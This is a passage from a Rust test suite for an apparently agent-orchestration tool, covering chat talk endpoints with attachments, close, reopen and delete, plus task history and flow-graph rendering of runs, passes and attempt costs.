15788 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15789
15790 let uploaded = f
15791 .post_bytes(
15792 &format!("/api/talks/{id}/attachments"),
15793 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15794 PNG_BYTES,
15795 )
15796 .await;
15797 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15798 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15799
15800 let res = f
15801 .post(
15802 &format!("/api/talks/{id}/say"),
15803 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15804 )
15805 .await;
15806 assert_eq!(res.status, 202, "{}", res.body);
15807 let queued = res.json();
15808 let turns = queued["turns"].as_array().expect("turns array");
15809 assert_eq!(
15810 turns.len(),
15811 1,
15812 "an empty body with an attachment is still a turn: {queued}"
15813 );
15814 assert_eq!(turns[0]["who"], "operator");
15815 assert_eq!(turns[0]["body"], "");
15816 let atts = turns[0]["attachments"]
15817 .as_array()
15818 .expect("attachments array");
15819 assert_eq!(atts.len(), 1);
15820 assert_eq!(atts[0]["id"], att_id);
15821 assert_eq!(atts[0]["mime"], "image/png");
15822
15823 let on_disk = f.talks().get(&id).expect("get");
15826 assert_eq!(on_disk.turns[0].attachments.len(), 1);
15827 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15828 }
15829
15830 #[tokio::test]
15831 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15832 let f = Fixture::start().await;
15833 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15834
15835 let res = f
15836 .post(
15837 &format!("/api/talks/{id}/say"),
15838 Some(&format!(
15839 r#"{{"text":"hi","attachments":["{}"]}}"#,
15840 "a".repeat(32)
15841 )),
15842 )
15843 .await;
15844 assert!((400..500).contains(&res.status), "{}", res.body);
15845 assert!(res.body.contains("unknown attachment"), "{}", res.body);
15846
15847 let on_disk = f.talks().get(&id).expect("get");
15848 assert!(
15849 on_disk.turns.is_empty(),
15850 "a rejected attachment id must not partially record the turn: {:?}",
15851 on_disk.turns
15852 );
15853 }
15854
15855 #[tokio::test]
15856 async fn talk_close_makes_the_talk_refuse_further_turns() {
15857 let f = Fixture::start().await;
15858 let id = seed_talk(&f, "20260904-014455-cd34", "open");
15859
15860 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15861 assert_eq!(closed.status, 200, "{}", closed.body);
15862 assert_eq!(closed.json()["status"], "closed");
15863
15864 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15866 assert_eq!(closed_again.status, 200);
15867 assert_eq!(closed_again.json()["status"], "closed");
15868
15869 let said = f
15870 .post(
15871 &format!("/api/talks/{id}/say"),
15872 Some(r#"{"text":"too late"}"#),
15873 )
15874 .await;
15875 assert_eq!(said.status, 409, "{}", said.body);
15876 }
15877
15878 #[tokio::test]
15879 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15880 let (_tmp, _repo, f) = talk_fixture().await;
15881 let id = f.post("/api/talks", None).await.json()["id"]
15882 .as_str()
15883 .expect("id")
15884 .to_owned();
15885 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15886 assert_eq!(closed.status, 200, "{}", closed.body);
15887
15888 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15889 assert_eq!(reopened.status, 200, "{}", reopened.body);
15890 assert_eq!(reopened.json()["status"], "open");
15891
15892 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15894 assert_eq!(reopened_again.status, 200);
15895 assert_eq!(reopened_again.json()["status"], "open");
15896
15897 let said = f
15898 .post(
15899 &format!("/api/talks/{id}/say"),
15900 Some(r#"{"text":"still there?"}"#),
15901 )
15902 .await;
15903 assert_eq!(
15904 said.status, 202,
15905 "a reopened talk accepts turns again: {}",
15906 said.body
15907 );
15908 }
15909
15910 #[tokio::test]
15911 async fn talk_reopen_on_an_unknown_id_is_404() {
15912 let f = Fixture::start().await;
15913 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15914 assert_eq!(res.status, 404, "{}", res.body);
15915 }
15916
15917 #[tokio::test]
15918 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15919 let f = Fixture::start().await;
15920 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15921
15922 let deleted = f.delete(&format!("/api/talks/{id}")).await;
15923 assert_eq!(deleted.status, 204, "{}", deleted.body);
15924
15925 let after = f.get(&format!("/api/talks/{id}")).await;
15926 assert_eq!(after.status, 404, "{}", after.body);
15927
15928 let listed = f.get("/api/talks").await.json();
15929 assert!(
15930 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15931 "a deleted talk must not linger in the list: {listed}"
15932 );
15933 }
15934
15935 #[tokio::test]
15936 async fn talk_delete_on_an_unknown_id_is_404() {
15937 let f = Fixture::start().await;
15938 let res = f.delete("/api/talks/nonexistent-id").await;
15939 assert_eq!(res.status, 404, "{}", res.body);
15940 }
15941
15942 #[tokio::test]
15946 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15947 let f = Fixture::start().await;
15948 let (a, b, gone) = (
15949 "20260902-140501-aaaa",
15950 "20260902-140502-bbbb",
15951 "20260902-140503-cccc",
15952 );
15953 write_run(&f.runs(), a, RunStatus::Stalled);
15954 let mut review = RunState::new(
15955 PathBuf::from("/repo/magi"),
15956 "main".to_owned(),
15957 "0123456789abcdef".to_owned(),
15958 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15959 .to_owned(),
15960 Config::default(),
15961 );
15962 review.id = b.to_owned();
15963 review.status = RunStatus::Merged;
15964 write_state(&f.runs(), &review);
15965
15966 let mut task = Task::new(
15967 "retry".to_owned(),
15968 "Do the thing".to_owned(),
15969 PathBuf::from("/repo/magi"),
15970 Source::Human,
15971 );
15972 task.start(a.to_owned());
15973 task.stall("quota");
15974 task.start(a.to_owned());
15975 task.start(b.to_owned());
15976 task.start(gone.to_owned());
15977 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15979 f.queue().put(&mut task).expect("file the task");
15980
15981 let res = f.get(&format!("/api/queue/{}", task.id)).await;
15982 assert_eq!(res.status, 200, "{}", res.body);
15983 let v = res.json();
15984 let h = v["history"].as_array().expect("history");
15985 assert_eq!(h.len(), 4, "{v}");
15986 assert_eq!(h[0]["kind"], "competition");
15987 assert_eq!(h[0]["status"], "stalled");
15988 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15989 assert_eq!(h[1]["kind"], "resume", "{v}");
15990 assert!(
15991 h[0]["outcome"]
15992 .as_str()
15993 .unwrap()
15994 .contains("unknown. Pass #2"),
15995 "an earlier pass of a resumed run must not claim the final outcome: {v}"
15996 );
15997 assert!(
15998 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15999 "{v}"
16000 );
16001 assert!(
16002 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16003 "an unrecorded cause must not be narrated as an operator park: {v}"
16004 );
16005 assert_eq!(h[2]["kind"], "review");
16006 assert!(
16007 h[2]["description"]
16008 .as_str()
16009 .unwrap()
16010 .contains("magi/aaaa/A")
16011 );
16012 assert_eq!(h[2]["status"], "merged");
16013 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16014 assert_eq!(v["runs_unreadable"], 1);
16015 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16016 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16017 assert_eq!(nodes[4]["note"], "unreadable");
16018 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16019 assert_eq!(v["instruction"], "Do the thing");
16020 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16021
16022 let run = f.get(&format!("/api/runs/{a}")).await.json();
16024 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16025
16026 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16027 }
16028
16029 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16030 let mut s = RunState::new(
16031 PathBuf::from("/repo/magi"),
16032 "main".to_owned(),
16033 "0123456789abcdef".to_owned(),
16034 "Do it".to_owned(),
16035 Config::default(),
16036 );
16037 s.status = status;
16038 edit(&mut s);
16039 s
16040 }
16041
16042 fn flow_task(runs: &[&str]) -> Task {
16043 let mut t = Task::new(
16044 "t".to_owned(),
16045 "Do it".to_owned(),
16046 PathBuf::from("/repo/magi"),
16047 Source::Human,
16048 );
16049 for r in runs {
16050 t.start((*r).to_owned());
16051 }
16052 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16054 t
16055 }
16056
16057 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16058 let h = task_history(task, |id| {
16059 states
16060 .iter()
16061 .find(|(i, _)| *i == id)
16062 .and_then(|(_, s)| s.clone())
16063 });
16064 task_flow(task, &h, 5, None)
16065 }
16066
16067 #[test]
16068 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16069 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16070 let created = "2026-10-10T01:00:00Z".parse().unwrap();
16071 let first = "2026-10-10T02:00:00Z".parse().unwrap();
16072 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16073 let held = "2026-10-10T04:00:00Z".parse().unwrap();
16074 let run = flow_run(RunStatus::Implementing, |s| {
16075 s.created_at = created;
16076 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16077 s.passes[0].started_at = first;
16078 s.passes[1].started_at = resumed;
16079 });
16080 let mut task = flow_task(&[RUN_X, RUN_X]);
16081 task.created_at = queued;
16082 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16083 task.status = TaskStatus::Held;
16084 task.held_at = Some(held);
16085 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16086 assert_eq!(
16087 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16088 vec![Some(queued), Some(first), Some(resumed), Some(held)]
16089 );
16090 assert!(flow.nodes.iter().all(|n| n.time_expected));
16091 let json = serde_json::to_value(&flow).unwrap();
16092 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16093 assert_eq!(json["nodes"][2]["time_expected"], true);
16094 }
16095
16096 #[test]
16097 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16098 let created = "2026-10-10T01:00:00Z".parse().unwrap();
16099 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16100 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16101 task.held_at = Some(created);
16103 task.blocked_at = Some(created);
16104 for status in [
16105 TaskStatus::Queued,
16106 TaskStatus::Running,
16107 TaskStatus::Blocked,
16108 TaskStatus::Done,
16109 TaskStatus::Failed,
16110 TaskStatus::Parked,
16111 TaskStatus::Held,
16112 ] {
16113 task.status = status;
16114 if status == TaskStatus::Held {
16115 task.held_at = None;
16116 }
16117 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16118 assert_eq!(flow.nodes[1].started_at, Some(created));
16119 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16120 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16121 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16122 let json = serde_json::to_value(&flow).unwrap();
16123 assert!(json["nodes"][3]["started_at"].is_null());
16124 assert_eq!(json["nodes"][3]["time_expected"], true);
16125 }
16126 }
16127
16128 #[test]
16129 fn flow_context_links_do_not_expect_start_times() {
16130 let mut task = flow_task(&[]);
16131 task.source = Source::Agent {
16132 run: "chat-id".to_owned(),
16133 node: "chat".to_owned(),
16134 };
16135 let origin = followup_origin(&fu(None), |_| None, |_| None);
16136 let flow = task_flow(&task, &[], 5, Some(&origin));
16137 for node in &flow.nodes[..2] {
16138 assert!(!node.time_expected);
16139 assert_eq!(node.started_at, None);
16140 }
16141 assert!(flow.nodes[2].time_expected);
16142 }
16143
16144 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16145 crate::queue::FollowUp {
16146 run: "20260901-000000-aaaa".to_owned(),
16147 origin_task: origin_task.map(str::to_owned),
16148 pr: "https://example.com/o/r/pull/1".to_owned(),
16149 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16150 .map(str::to_owned)
16151 .to_vec(),
16152 generation: 1,
16153 }
16154 }
16155
16156 fn parent_task() -> Task {
16157 let mut p = flow_task(&[]);
16158 p.title = "Parent title".to_owned();
16159 p.status = TaskStatus::Done;
16160 p
16161 }
16162
16163 #[test]
16164 fn flow_opens_with_the_parent_task_of_a_followup() {
16165 let p = parent_task();
16166 let pid = p.id.clone();
16167 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16168 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16169 let n = &f.nodes[0];
16170 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16171 assert_eq!(
16172 n.label,
16173 format!("Follow-up of {}", crate::queue::short(&pid))
16174 );
16175 assert_eq!(n.detail.as_deref(), Some("Parent title"));
16176 assert_eq!(n.status, Some("done"));
16177 assert_eq!(n.status_of, "task");
16178 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16179 assert_eq!(f.nodes[1].key, "start");
16180 assert_eq!(f.edges[0].from, "origin");
16181 assert_eq!(
16182 f.edges[0].label,
16183 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16184 );
16185 }
16186
16187 #[test]
16188 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
16189 let o = followup_origin(
16190 &fu(Some("gone")),
16191 |_| None,
16192 |_| {
16193 Some(RunState::new(
16194 std::path::PathBuf::from("."),
16195 "main".to_owned(),
16196 "0".to_owned(),
16197 "t".to_owned(),
16198 crate::config::Config::default(),
16199 ))
16200 },
16201 );
16202 assert!(o.parent.is_none());
16203 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16204 let n = &f.nodes[0];
16205 assert_eq!(n.status_of, "run");
16206 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
16207 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
16208 }
16209
16210 #[test]
16211 fn flow_followup_with_nothing_readable_has_no_link() {
16212 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
16213 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16214 let n = &f.nodes[0];
16215 assert_eq!(n.href, None);
16216 assert_eq!(n.note, Some("unreadable"));
16217 assert!(!n.readable);
16218 }
16219
16220 #[test]
16221 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
16222 let o = followup_origin(&fu(None), |_| None, |_| None);
16223 let mut t = flow_task(&[]);
16224 t.origin_chat = Some("c1".to_owned());
16225 let f = task_flow(&t, &[], 5, Some(&o));
16226 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
16227 t.source = Source::Agent {
16228 run: "c1".to_owned(),
16229 node: crate::queue::CHAT_NODE.to_owned(),
16230 };
16231 let f = task_flow(&t, &[], 5, Some(&o));
16232 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
16233 assert_eq!(
16234 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
16235 ("chat", "origin")
16236 );
16237 }
16238
16239 #[test]
16240 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
16241 let mut p = parent_task();
16242 p.id = "a b/c".to_owned();
16243 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
16244 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
16245 }
16246
16247 #[test]
16248 fn flow_opens_with_the_chat_that_queued_the_task() {
16249 let mut t = flow_task(&[]);
16250 t.source = Source::Agent {
16251 run: "a b/c".to_owned(),
16252 node: crate::queue::CHAT_NODE.to_owned(),
16253 };
16254 let f = flow_for(&t, &[]);
16255 assert_eq!(f.nodes[0].key, "chat");
16256 assert_eq!(f.nodes[0].kind, "chat");
16257 assert_eq!(
16258 f.nodes[0].label,
16259 format!("Chat {}", crate::queue::short("a b/c"))
16260 );
16261 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
16262 assert_eq!(f.nodes[1].key, "start");
16263 assert_eq!(
16264 f.edges[0],
16265 FlowEdge {
16266 from: "chat".to_owned(),
16267 to: "start".to_owned(),
16268 label: "queued from chat".to_owned(),
16269 attempt: AttemptCost::None,
16270 }
16271 );
16272 }
16273
16274 #[test]
16275 fn flow_has_no_chat_box_for_other_sources() {
16276 for source in [
16277 Source::Human,
16278 Source::Issue {
16279 number: 3,
16280 repo: "o/r".to_owned(),
16281 },
16282 Source::Agent {
16283 run: "20260904-014455-ab12".to_owned(),
16284 node: "implement".to_owned(),
16285 },
16286 ] {
16287 let mut t = flow_task(&[]);
16288 t.source = source;
16289 let f = flow_for(&t, &[]);
16290 assert_eq!(f.nodes[0].key, "start");
16291 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
16292 assert!(f.edges.iter().all(|e| e.from != "chat"));
16293 }
16294 }
16295
16296 const FA: &str = "20260902-140501-aaaa";
16297 const FB: &str = "20260902-140502-bbbb";
16298
16299 #[test]
16300 fn flow_follows_blocked_retry_merged_to_done() {
16301 let mut t = flow_task(&[FA, FB]);
16302 t.status = TaskStatus::Done;
16303 let f = flow_for(
16304 &t,
16305 &[
16306 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16307 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16308 ],
16309 );
16310 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16311 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16312 assert_eq!(f.edges.len(), 3);
16313 assert_eq!(f.edges[0].label, "claimed");
16314 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16315 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16316 assert_eq!(f.edges[2].label, "merged \u{2192} done");
16317 assert_eq!(
16318 f.nodes[2].href.as_deref(),
16319 Some("#/runs/20260902-140502-bbbb")
16320 );
16321 assert!(f.nodes[2].decided);
16322 }
16323
16324 #[test]
16325 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16326 let quota = || {
16327 flow_run(RunStatus::Stalled, |s| {
16328 s.quota.push(crate::run::QuotaLoss {
16329 seat: "judge-1".to_owned(),
16330 node: "judge".to_owned(),
16331 at: Timestamp::now(),
16332 reset: None,
16333 })
16334 })
16335 };
16336 let mut t = flow_task(&[FA, FA]);
16337 t.status = TaskStatus::Queued;
16338 let f = flow_for(&t, &[(FA, Some(quota()))]);
16339 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16340 assert_eq!(f.nodes[1].note, Some("interrupted"));
16341 assert_eq!(
16342 f.nodes[1].status, None,
16343 "no outcome copied onto an earlier pass"
16344 );
16345 assert_eq!(
16346 f.edges[1].attempt,
16347 AttemptCost::Unknown,
16348 "a resume does not prove the earlier pass was refunded"
16349 );
16350 assert!(f.edges[1].label.contains("resume the same run"));
16351 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16352 assert_eq!(
16353 f.edges[2].label,
16354 "stalled after a resume, refund unknown \u{2192} queued"
16355 );
16356 assert!(!f.nodes[2].decided, "a stall is not a decision");
16357 assert_eq!(f.nodes[2].note, Some("no verdict"));
16358 }
16359
16360 #[test]
16361 fn flow_single_pass_quota_stall_is_refunded() {
16362 let t = flow_task(&[FA]);
16363 let f = flow_for(
16364 &t,
16365 &[(
16366 FA,
16367 Some(flow_run(RunStatus::Stalled, |s| {
16368 s.quota.push(crate::run::QuotaLoss {
16369 seat: "judge-1".to_owned(),
16370 node: "judge".to_owned(),
16371 at: Timestamp::now(),
16372 reset: None,
16373 })
16374 })),
16375 )],
16376 );
16377 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16378 }
16379
16380 #[test]
16381 fn flow_parked_refunds_and_stall_without_quota_spends() {
16382 let mut t = flow_task(&[FA]);
16383 t.status = TaskStatus::Queued;
16384 let f = flow_for(
16385 &t,
16386 &[(
16387 FA,
16388 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16389 )],
16390 );
16391 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16392 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16393 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16394 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16395 assert!(!f.nodes[1].decided);
16396 }
16397
16398 #[test]
16399 fn flow_keeps_an_unreadable_run_as_its_own_node() {
16400 let t = flow_task(&[FA, FB]);
16401 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16402 assert_eq!(f.nodes[1].note, Some("unreadable"));
16403 assert!(!f.nodes[1].readable);
16404 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16405 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16406 }
16407
16408 #[test]
16409 fn flow_names_the_branch_of_a_review_only_run() {
16410 let t = flow_task(&[FA]);
16411 let f = flow_for(
16412 &t,
16413 &[(
16414 FA,
16415 Some(flow_run(RunStatus::Merged, |s| {
16416 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16417 })),
16418 )],
16419 );
16420 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16421 assert_eq!(
16422 f.nodes[1].detail.as_deref(),
16423 Some("review-only run of branch magi/x/A")
16424 );
16425 }
16426
16427 #[test]
16428 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16429 let mut t = flow_task(&[FA]);
16430 t.status = TaskStatus::Held;
16431 let pr = crate::run::PrRecord {
16432 url: "https://example.test/pr/1".to_owned(),
16433 number: 1,
16434 state: "open".to_owned(),
16435 checks: "green".to_owned(),
16436 round: 0,
16437 rounds: 3,
16438 red_at_merge: Vec::new(),
16439 };
16440 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16441 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16442 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16443 t.status = TaskStatus::Done;
16444 let f = flow_for(&t, &[(FA, Some(blocked))]);
16445 assert_eq!(f.edges[1].label, "closed by hand: task is done");
16446 }
16447
16448 #[test]
16449 fn flow_with_no_runs_goes_from_queued_to_queued() {
16450 let t = flow_task(&[]);
16451 let f = flow_for(&t, &[]);
16452 assert_eq!(f.nodes.len(), 2);
16453 assert_eq!(f.edges.len(), 1);
16454 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16455 assert_eq!(f.edges[0].attempt, AttemptCost::None);
16456 }
16457
16458 #[test]
16461 fn a_parked_non_terminal_run_is_explained_as_parked() {
16462 let mut s = RunState::new(
16463 PathBuf::from("/repo/magi"),
16464 "main".to_owned(),
16465 "0123456789abcdef".to_owned(),
16466 "Do it".to_owned(),
16467 Config::default(),
16468 );
16469 s.status = RunStatus::Implementing;
16470 s.parked = true;
16471 let task = Task::new(
16472 "t".to_owned(),
16473 "Do it".to_owned(),
16474 PathBuf::from("/repo/magi"),
16475 Source::Human,
16476 );
16477 let v = task_run_view(
16478 "20260902-140501-aaaa",
16479 Some(&s),
16480 RunSlot {
16481 n: 1,
16482 resumed: false,
16483 resumed_later: None,
16484 prior: None,
16485 last: true,
16486 ..RunSlot::default()
16487 },
16488 &task,
16489 );
16490 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16491 }
16492
16493 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16494 let mut s = flow_run(RunStatus::Implementing, edit);
16495 s.parked = false;
16496 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16497 task_run_view(
16498 "20260902-140501-aaaa",
16499 Some(&s),
16500 RunSlot {
16501 n: 1,
16502 resumed: false,
16503 resumed_later: Some(2),
16504 prior: None,
16505 last: false,
16506 ..RunSlot::default()
16507 },
16508 &task,
16509 )
16510 }
16511
16512 #[test]
16513 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16514 let v = earlier_pass_view(|_| {});
16515 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16516 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16517 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16518 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16519 assert_eq!(v.exit, RunExit::Interrupted);
16520 assert_eq!(v.attempt, AttemptCost::Unknown);
16521 }
16522
16523 #[test]
16524 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16525 let v = earlier_pass_view(|s| {
16526 s.quota.push(crate::run::QuotaLoss {
16527 seat: "judge-1".to_owned(),
16528 node: "judge".to_owned(),
16529 at: Timestamp::now(),
16530 reset: None,
16531 });
16532 });
16533 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16534 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16535 assert_eq!(v.attempt, AttemptCost::Unknown);
16536 }
16537
16538 #[test]
16539 fn the_current_pass_states_its_recorded_cause_and_cost() {
16540 let slot = || RunSlot {
16541 n: 1,
16542 resumed: false,
16543 resumed_later: None,
16544 prior: None,
16545 last: true,
16546 ..RunSlot::default()
16547 };
16548 let task = flow_task(&["20260902-140501-aaaa"]);
16549 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16550 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16551 assert_eq!(
16552 (v.exit, v.attempt),
16553 (RunExit::Parked, AttemptCost::Refunded)
16554 );
16555 let spent = flow_run(RunStatus::Blocked, |_| {});
16556 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16557 assert_eq!(v.attempt, AttemptCost::Spent);
16558 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16559 }
16560
16561 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16562 crate::run::RunPass {
16563 index,
16564 started_at: Timestamp::now(),
16565 resumed: index > 0,
16566 ended_at: end.as_ref().map(|_| Timestamp::now()),
16567 end,
16568 task_entry: true,
16569 }
16570 }
16571
16572 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16573 Some(crate::run::PassEnd::Parked { cause })
16574 }
16575
16576 fn upgrade_cause() -> crate::run::ParkCause {
16577 crate::run::ParkCause::Upgrade {
16578 from: "0.121.0".to_owned(),
16579 to: Some("0.121.1".to_owned()),
16580 }
16581 }
16582
16583 fn settled_pass(
16584 run: &str,
16585 index: usize,
16586 cost: crate::queue::PassCost,
16587 ) -> crate::queue::TaskPass {
16588 crate::queue::TaskPass {
16589 run: run.to_owned(),
16590 pass_index: index,
16591 started_at: None,
16592 cost,
16593 attempts_after: 1,
16594 settled_at: Timestamp::now(),
16595 parked: None,
16596 }
16597 }
16598
16599 const RUN_X: &str = "20261011-223708-4334";
16600
16601 #[test]
16602 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16603 use crate::queue::PassCost;
16604 let run = flow_run(RunStatus::Implementing, |s| {
16605 s.passes = vec![
16606 recorded_pass(0, parked(upgrade_cause())),
16607 recorded_pass(1, None),
16608 ];
16609 });
16610 let mut task = flow_task(&[RUN_X, RUN_X]);
16611 task.attempts = 1;
16612 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16613 let h = task_history(&task, |_| Some(run.clone()));
16614 assert_eq!(h.len(), 2);
16615 assert_eq!(h[0].kind, "competition");
16616 assert_eq!(h[1].kind, "resume");
16617 assert_eq!(
16618 (h[0].exit, h[0].attempt),
16619 (RunExit::Parked, AttemptCost::Refunded)
16620 );
16621 assert!(
16622 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16623 "{}",
16624 h[0].outcome
16625 );
16626 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16627 assert!(
16628 h[0].outcome.contains("pass #2 resumed the same run"),
16629 "{}",
16630 h[0].outcome
16631 );
16632 assert!(
16633 h[0].outcome.contains("pass 1 of 2 over run"),
16634 "{}",
16635 h[0].outcome
16636 );
16637 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16638 assert_eq!(
16639 h[0].exit_label,
16640 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16641 );
16642 let f = task_flow(&task, &h, 2, None);
16643 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16645 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16646 assert!(
16647 f.edges[1].label.contains("upgrade 0.121.0"),
16648 "{}",
16649 f.edges[1].label
16650 );
16651 assert!(
16652 f.edges[1].label.contains("resume the same run"),
16653 "{}",
16654 f.edges[1].label
16655 );
16656 assert_eq!(f.nodes[1].note, Some("parked"));
16657 }
16658
16659 #[test]
16660 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16661 let mut a = flow_run(RunStatus::Implementing, |s| {
16662 s.passes = vec![
16663 recorded_pass(0, parked(upgrade_cause())),
16664 recorded_pass(1, None),
16665 ];
16666 });
16667 let mut b = flow_run(RunStatus::Failed, |s| {
16668 s.passes = vec![recorded_pass(0, None)];
16669 });
16670 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16671 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16672 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16673 let mut task = flow_task(&[]);
16674 task.start("a".into());
16675 task.start("b".into());
16676 task.start("a".into());
16677 assert_eq!(task.runs, ["b", "a"]);
